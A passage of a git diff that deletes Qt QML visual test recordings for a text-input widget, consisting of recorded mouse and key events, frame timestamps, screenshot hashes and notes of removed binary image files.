hash: "e5cba3c1e41e38117508c84e894beb11" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 190; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6944 - hash: "2560f53b8ac0a84fef895dbb8f0e393e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 181; y: 127 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 172; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6960 - hash: "c1b8bfc008319b793b6bd9345d34ccf5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 146; y: 124 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 138; y: 121 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 130; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 123; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 118; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 114; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7072 - hash: "a9f2804ac7918971f237c4cfa6339c24" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 108; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7088 - hash: "bc9c96855f048cb6c86d480e501322ab" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 107; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7104 - hash: "706730602364bfb4d0193d1728a6d350" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7120 - hash: "df80fe3e3ba35ab3fafca929b9101e13" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 104; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7136 - hash: "aa8fa1baf61919004a4f14948826882e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7152 - hash: "1829dfa3615d6ae430ba81a2df9a9e15" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7168 - hash: "c4ea5c767192bbd3bfac58d07594016a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7184 - hash: "319aede65b3473f28a4ca62a524e4a76" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7200 - hash: "e1de653161e3348e083267c9082bc0f0" - } - Frame { - msec: 7216 - hash: "de5f2d5147c600d2cb44072801c2338e" - } - Frame { - msec: 7232 - hash: "6db41d704d2e28f36b206bdb317ee361" - } - Frame { - msec: 7248 - hash: "a500b87efea241cdf8adf97ae86e10c3" - } - Frame { - msec: 7264 - hash: "86c4eb0164a5b57eb22de4c9d58345f5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7280 - hash: "2dbb1e3a1374b7c4aecd5a891be4573d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7296 - hash: "07bcafdf5ca28a1416a20ed375ec3ea6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7312 - hash: "e79def41bbf7e544d64cf19d74524d3a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7328 - hash: "20aff98618d16c00dc9b76035e9523f5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7344 - hash: "12b5e016bad990d1f2bf427ee8e3e6d9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 104; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7360 - hash: "66a2ba3f9e005cd58aa50cfa0000cd15" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 107; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7376 - hash: "a2e9e42e09dadbd0791f52bb96e0e0dc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7392 - hash: "ac68396566ea85a157e944e601dd8d18" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 113; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 117; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7408 - hash: "b9bfdebec8dd1a93de7ef2768b2542ba" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 124; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7424 - hash: "2e0a4b960803770acb34ef56ccf2be35" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 131; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7440 - hash: "df1643f0f8b7aa2dc080958822aeb3d0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 138; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7456 - hash: "af8ce877d953727d37fd6f7e4962f45a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 148; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7472 - hash: "b9de04c0d7532d67404a5a773d9fab99" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 155; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7488 - hash: "7904312a7efe0b545070c5a5615011df" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7504 - hash: "0069a8f088c83c6716bac15567a5b38d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 159; y: 116 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 162; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7520 - hash: "8c17c78d663097e275ed2f80d6479caf" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7536 - hash: "9e8781569e07fca7def229b76189082d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 165; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7552 - hash: "8dba2f259740d869bfa20205d2e14433" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 116 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 168; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7568 - hash: "4e7ad066aadbad3f71a08962ba1379c0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 171; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7584 - hash: "a5d1554a6fb311239acc077f01adc597" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7600 - hash: "e91b45c430f7e10c2205af620350ddb6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 177; y: 116 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 183; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7616 - hash: "6c731f4dbdec441cd36b1e9727758d73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 188; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7632 - hash: "31634e757bdec45feb1f021e35746d65" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 193; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7648 - hash: "846dcb42fa85719223eb19f7af3d0630" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 206; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7664 - hash: "a5826c5d7d1b9161cc7fb76f59021fdd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 209; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7680 - image: "cursorDelegate.7.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 211; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7696 - hash: "bdfb9b949489744bc77905249eb647f9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7712 - hash: "307d4fb47604c00e213f8d9616e0da13" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 213; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7728 - hash: "74201a80a9032cb18b0c9e26bb67363f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 214; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7744 - hash: "38ca918199552a525fb7f3a3773761d9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7760 - hash: "d64c06c25229b3b64b779ca1bef7d2cb" - } - Frame { - msec: 7776 - hash: "4ba0117db1ff431de20c06c79866d509" - } - Frame { - msec: 7792 - hash: "ca56899ded0e5ea361aac24493793f58" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7808 - hash: "ebce1d3b4d088278b6f36dac444c7ca6" - } - Frame { - msec: 7824 - hash: "16c52065169bffc4648eda0226dba13a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7840 - hash: "7a5a6a02f57545d9f2336ff18dd118d6" - } - Frame { - msec: 7856 - hash: "328c8133c68fc2e86dc2193d1bee3259" - } - Frame { - msec: 7872 - hash: "fcad1d2819e3cede6081b4dfbb5a4a65" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7888 - hash: "85ff2968ba06443f300c9c0ef36c7054" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7904 - hash: "871025c33fa769a790fc460a95b183ec" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7920 - hash: "5b96f2673e0ccd2b198b9f99c65b4b12" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7936 - hash: "5fc6f30a2dd019c4f2af056b51cfaa27" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 115 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7952 - hash: "fc6bf3bcde1f89f0bff40e3e019aed33" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7968 - hash: "703beec7b035080146131936da8c0fb3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 220; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 221; y: 114 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8064 - hash: "703beec7b035080146131936da8c0fb3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8080 - hash: "fc6bf3bcde1f89f0bff40e3e019aed33" - } - Frame { - msec: 8096 - hash: "5fc6f30a2dd019c4f2af056b51cfaa27" - } - Frame { - msec: 8112 - hash: "5b96f2673e0ccd2b198b9f99c65b4b12" - } - Frame { - msec: 8128 - hash: "871025c33fa769a790fc460a95b183ec" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 222; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8144 - hash: "85ff2968ba06443f300c9c0ef36c7054" - } - Frame { - msec: 8160 - hash: "fcad1d2819e3cede6081b4dfbb5a4a65" - } - Frame { - msec: 8176 - hash: "328c8133c68fc2e86dc2193d1bee3259" - } - Frame { - msec: 8192 - hash: "7a5a6a02f57545d9f2336ff18dd118d6" - } - Frame { - msec: 8208 - hash: "16c52065169bffc4648eda0226dba13a" - } - Frame { - msec: 8224 - hash: "ebce1d3b4d088278b6f36dac444c7ca6" - } - Frame { - msec: 8240 - hash: "ca56899ded0e5ea361aac24493793f58" - } - Frame { - msec: 8256 - hash: "4ba0117db1ff431de20c06c79866d509" - } - Frame { - msec: 8272 - hash: "d64c06c25229b3b64b779ca1bef7d2cb" - } - Frame { - msec: 8288 - hash: "38ca918199552a525fb7f3a3773761d9" - } - Frame { - msec: 8304 - hash: "74201a80a9032cb18b0c9e26bb67363f" - } - Frame { - msec: 8320 - hash: "307d4fb47604c00e213f8d9616e0da13" - } - Frame { - msec: 8336 - hash: "9ad660f83ed62b964b676106f8aa7114" - } - Frame { - msec: 8352 - hash: "457fc0df515f9813e98a6a86f4ab5231" - } - Frame { - msec: 8368 - hash: "372cbc6ad4edc85319743627ced05671" - } - Frame { - msec: 8384 - hash: "4e08beac6ee40acaa4de6963522d63d0" - } - Frame { - msec: 8400 - hash: "5e790c2199a5e95fc17f8c0b49809cc9" - } - Frame { - msec: 8416 - hash: "e36310e1866d4a95bac60084fa4aa2c1" - } - Frame { - msec: 8432 - hash: "b7182b171316cc2db4de2b23de93dc41" - } - Frame { - msec: 8448 - hash: "6aaf7f8e6e238973dfd4030eb146198b" - } - Frame { - msec: 8464 - hash: "901ead3167e602dfe043c56c6c805d54" - } - Frame { - msec: 8480 - hash: "5a97542680475b1382ad5b7c3f6fa96a" - } - Frame { - msec: 8496 - hash: "fb34d93127f3c3ad0c7bacce0200753b" - } - Frame { - msec: 8512 - hash: "993c97dc85e83e241538356e317b7767" - } - Frame { - msec: 8528 - hash: "fb11a9edb3a613be5cb6949c76c5c715" - } - Frame { - msec: 8544 - hash: "e68b7461f94adeaf330f67d36d0d3b3e" - } - Frame { - msec: 8560 - hash: "7ed043cc027fdb467bd16847187cd48d" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 277; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8576 - hash: "fefbb2f4671f8a36f9d2207ced8c0bfb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 277; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8592 - hash: "1ab596339afc1f96136ee69c4b7688e1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 276; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8608 - hash: "e07f59d729cb2790296e8c7cd3d0d3c9" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 276; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8624 - hash: "a7dccada1080487cab2d0a916676c5cb" - } - Frame { - msec: 8640 - image: "cursorDelegate.8.png" - } - Frame { - msec: 8656 - hash: "9329d353c678d2bc61d08f63029d1b9b" - } - Frame { - msec: 8672 - hash: "41263f56af7875028bb0c1e7eccf6f5d" - } - Frame { - msec: 8688 - hash: "e2eb18af82c85ea78ba438163e922df3" - } - Frame { - msec: 8704 - hash: "91b2695e4915238ae8610a64e279b0f4" - } - Frame { - msec: 8720 - hash: "a97d90765f87b998eae6e9f603c61bff" - } - Frame { - msec: 8736 - hash: "48969edab07b942480d93ac2d383ca24" - } - Frame { - msec: 8752 - hash: "ecfd9d6d5873001f0c67806544a14983" - } - Frame { - msec: 8768 - hash: "a3a3bc1e2523d3e7f961893bcd1dd3a8" - } - Frame { - msec: 8784 - hash: "e337735ad0b42e60c54f16f3da7af3cf" - } - Frame { - msec: 8800 - hash: "c39db081130d269f25dbcb1a19afb8d0" - } - Frame { - msec: 8816 - hash: "c464d501e3935ec0f53eb780bd1a8289" - } - Frame { - msec: 8832 - hash: "2be4fd986de19f6f76dfddec75b26804" - } - Frame { - msec: 8848 - hash: "a1280e9fb86ca96b2340bb70aa774806" - } - Frame { - msec: 8864 - hash: "cce4c17a387893478bcfa547f7561aba" - } - Frame { - msec: 8880 - hash: "7094db3e04895d8d7f5f58caf0658592" - } - Frame { - msec: 8896 - hash: "edb1f644757f9ba0a39549d77141c280" - } - Frame { - msec: 8912 - hash: "cd381e847ecfce2db111bdf94a437cbc" - } - Frame { - msec: 8928 - hash: "6a089603b641b683a744b88f2ebe82d1" - } - Frame { - msec: 8944 - hash: "8c0e47f7c87a1a11cd733a453b31c780" - } - Frame { - msec: 8960 - hash: "b53c892d62e787eb2565820d79739de6" - } - Frame { - msec: 8976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9072 - hash: "b53c892d62e787eb2565820d79739de6" - } - Frame { - msec: 9088 - hash: "8c0e47f7c87a1a11cd733a453b31c780" - } - Frame { - msec: 9104 - hash: "6a089603b641b683a744b88f2ebe82d1" - } - Frame { - msec: 9120 - hash: "cd381e847ecfce2db111bdf94a437cbc" - } - Frame { - msec: 9136 - hash: "edb1f644757f9ba0a39549d77141c280" - } - Frame { - msec: 9152 - hash: "7094db3e04895d8d7f5f58caf0658592" - } - Frame { - msec: 9168 - hash: "cce4c17a387893478bcfa547f7561aba" - } - Frame { - msec: 9184 - hash: "a1280e9fb86ca96b2340bb70aa774806" - } - Frame { - msec: 9200 - hash: "2be4fd986de19f6f76dfddec75b26804" - } - Frame { - msec: 9216 - hash: "c464d501e3935ec0f53eb780bd1a8289" - } - Frame { - msec: 9232 - hash: "c39db081130d269f25dbcb1a19afb8d0" - } - Frame { - msec: 9248 - hash: "e337735ad0b42e60c54f16f3da7af3cf" - } - Frame { - msec: 9264 - hash: "a3a3bc1e2523d3e7f961893bcd1dd3a8" - } - Frame { - msec: 9280 - hash: "ecfd9d6d5873001f0c67806544a14983" - } - Frame { - msec: 9296 - hash: "48969edab07b942480d93ac2d383ca24" - } - Frame { - msec: 9312 - hash: "a97d90765f87b998eae6e9f603c61bff" - } - Frame { - msec: 9328 - hash: "91b2695e4915238ae8610a64e279b0f4" - } - Frame { - msec: 9344 - hash: "e2eb18af82c85ea78ba438163e922df3" - } - Frame { - msec: 9360 - hash: "41263f56af7875028bb0c1e7eccf6f5d" - } - Frame { - msec: 9376 - hash: "9329d353c678d2bc61d08f63029d1b9b" - } - Frame { - msec: 9392 - hash: "ac5939eb4379394fab829b307cbfe7ec" - } - Frame { - msec: 9408 - hash: "a7dccada1080487cab2d0a916676c5cb" - } - Frame { - msec: 9424 - hash: "e07f59d729cb2790296e8c7cd3d0d3c9" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.0.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.0.png deleted file mode 100644 index 2b45a06..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.1.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.1.png deleted file mode 100644 index 1f5bae0..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.2.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.2.png deleted file mode 100644 index cb2b5a4..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.3.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.3.png deleted file mode 100644 index aa24805..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.4.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.4.png deleted file mode 100644 index aa24805..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.qml b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.qml deleted file mode 100644 index dd7b291..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.qml +++ /dev/null @@ -1,1043 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 32 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Key { - type: 6 - key: 16777248 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 48 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 64 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 80 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 96 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 112 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 128 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 144 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 160 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 176 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 192 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 208 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 224 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 240 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 256 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 272 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 288 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 304 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 320 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 336 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 352 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Key { - type: 6 - key: 74 - modifiers: 33554432 - text: "4a" - autorep: false - count: 1 - } - Frame { - msec: 368 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 384 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 400 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 416 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 432 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Key { - type: 7 - key: 74 - modifiers: 33554432 - text: "4a" - autorep: false - count: 1 - } - Frame { - msec: 448 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 464 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 480 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 496 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 512 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 528 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Key { - type: 7 - key: 16777248 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 560 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 576 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 592 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 608 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 624 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 640 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 656 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 672 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 688 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 704 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 720 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 736 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 752 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 768 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 784 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 800 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 816 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 832 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 848 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Key { - type: 6 